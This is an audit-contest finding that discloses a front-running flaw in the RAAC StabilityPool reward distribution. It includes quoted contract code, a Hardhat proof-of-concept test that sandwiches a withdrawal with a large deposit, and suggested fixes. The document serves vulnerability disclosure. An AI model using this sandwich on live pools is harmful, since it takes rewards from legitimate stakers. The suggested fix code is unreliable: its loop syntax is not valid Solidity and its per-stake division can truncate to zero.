Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Sandwich Opportunity presented via stepwise reward distribution

Summary

The vulnerability identified in the StabilityPool contract allows malicious actors to frontrun legitimate users' withdrawal transactions to claim a disproportionate share of RAAC rewards. This is possible due to the stepwise accumulation of RAAC rewards over blocks, which can be exploited by depositing a large amount of rTokens just before a legitimate user withdraws their stake. This dilutes the rewards for the legitimate user and allows the attacker to claim a significant portion of the rewards without having staked for a long period.

Vulnerability Details

Users can stake their rTokens and get minted DeTokens to represent their rToken stake. The rToken stake deposited using the stability pool is eligible for RAAC token rewards that accrue and are claimable upon withdrawal. See StabilityPool::withdraw :

/**
* @notice Allows a user to withdraw their rToken and RAAC rewards.
* @param deCRVUSDAmount Amount of deToken to redeem.
*/
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}

The withdraw function contains an _update function as seen above which is responsible for minting RAAC tokens from an RAACMinter contract. See below:

/**
* @dev Internal function to update state variables.
*/
function _update() internal {
_mintRAACRewards();
}
/**
* @dev Internal function to mint RAAC rewards.
*/
function _mintRAACRewards() internal {
if (address(raacMinter) != address(0)) {
raacMinter.tick();
}
}

RAACMinter::tick works by multiplying the emission rate per block by the number of blocks that have passed since it was last called. See below:

/**
* @dev Triggers the minting process and updates the emission rate if the interval has passed
*/
function tick() external nonReentrant whenNotPaused {
if (emissionUpdateInterval == 0 || block.timestamp >= lastEmissionUpdateTimestamp + emissionUpdateInterval) {
updateEmissionRate();
}
uint256 currentBlock = block.number;
uint256 blocksSinceLastUpdate = currentBlock - lastUpdateBlock;
if (blocksSinceLastUpdate > 0) {
uint256 amountToMint = emissionRate * blocksSinceLastUpdate;
if (amountToMint > 0) {
excessTokens += amountToMint;
lastUpdateBlock = currentBlock;
raacToken.mint(address(stabilityPool), amountToMint);
emit RAACMinted(amountToMint);
}
}
}

The issue with this is it presents an opportunity for front runners to maliciously sandwich user's withdrawals after a significant number of blocks have past. The more blocks that pass, the larger the RAAC rewards for stakers which incentivizes users to stake for longer to get a larger share of the rewards. The issue is that the more blocks that pass without RAACMinter being called, the higher the stepwise jump in RAAC rewards which incentivises a user to watch for an accumulation of rewards in the pool and watch for a normal actor calling the withdraw function to get their stake and frontrun this transaction with a deposit which will allow the malicious actor to get a large reward amount without staking for the same amount of time as the normal actor which dilutes the expected reward amount from the normal actor. The malicious actor can simply withdraw after this user's transaction and be able to get more RAAC rewards despite having only staked for a few seconds.

Proof Of Code (POC)

This test was run in StabilityPool.test.js in the "Deposits" describe block:

it("frontrun opportunity due to stepwise jump", async function () {
//c for testing purposes.
//c at the moment, user 2 is the only one who has deposited into the stability pool so they are poised to get all the rewards
const depositAmount = ethers.parseEther("50");
await stabilityPool.connect(user2).deposit(depositAmount);
const stabilitypoolbal = await raacToken.balanceOf(
stabilityPool.target
);
console.log("stabilitypoolbal", stabilitypoolbal.toString());
//c wait for some time to pass so RAAC rewards can accrue
//c calculate reward amount that will be minted when user2 withdraws
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const rewardAmount = await raacMinter.amountToMint();
console.log("rewardAmount", rewardAmount);
const user2pendingReward = await stabilityPool.getPendingRewards(
user2.address
);
console.log("user2pendingReward", user2pendingReward.toString());
//c user1 sees in mempool that user2 is about to withdraw and front runs and deposits a large amount of rtokens to get majority of the rewards leaving user 2 with a lot less rewards
const frontrunAmount = ethers.parseEther("500");
await stabilityPool.connect(user1).deposit(frontrunAmount);
await stabilityPool.connect(user2).withdraw(depositAmount);
const user2bal = await raacToken.balanceOf(user2.address);
console.log("user2bal", user2bal.toString());
await stabilityPool.connect(user1).withdraw(depositAmount);
const user1bal = await raacToken.balanceOf(user1.address);
console.log("user1bal", user1bal.toString());
const rewardDiff = user2pendingReward - user2bal;
console.log("rewardDiff", rewardDiff.toString());
assert(user2bal < rewardAmount);
assert(user1bal > user2bal);
});

Impact

Loss of Rewards for Legitimate Users: Legitimate users who have staked their rTokens for a long time will receive fewer rewards than expected due to the dilution caused by the attacker's frontrunning deposit.

Incentive Misalignment: The protocol's incentive mechanism is undermined, as users are discouraged from staking for long periods if their rewards can be easily stolen by malicious actors.

Tools Used

Manual Review, Hardhat

Recommendations

Continuous Reward Distribution
Instead of minting rewards in a stepwise manner when withdraw is called, distribute rewards continuously on a per-block basis. This can be achieved by updating the reward accumulation logic to calculate rewards based on the exact number of blocks a user has staked, rather than the total blocks since the last update.

function _update() internal {
uint256 currentBlock = block.number;
uint256 blocksSinceLastUpdate = currentBlock - lastUpdateBlock;
if (blocksSinceLastUpdate > 0) {
uint256 totalRewards = emissionRate * blocksSinceLastUpdate;
if (totalRewards > 0) {
// Distribute rewards proportionally to all stakers
_distributeRewards(totalRewards);
lastUpdateBlock = currentBlock;
}
}
}
function _distributeRewards(uint256 totalRewards) internal {
uint256 totalStake = totalStaked();
if (totalStake > 0) {
uint256 rewardPerStake = totalRewards / totalStake;
// Update each user's reward balance based on their stake
for (address user : stakers) {
userRewards[user] += userStakes[user] * rewardPerStake;
}
}
}
  1. Deposit Cooldown Period
    Introduce a cooldown period for deposits, during which new deposits are not eligible for rewards. This prevents attackers from frontrunning withdrawals to claim rewards.

uint256 public constant DEPOSIT_COOLDOWN = 86400; // 24 hours
function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
require(block.timestamp >= lastDepositTimestamp[msg.sender] + DEPOSIT_COOLDOWN, "Deposit cooldown active");
lastDepositTimestamp[msg.sender] = block.timestamp;
// Rest of the deposit logic
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!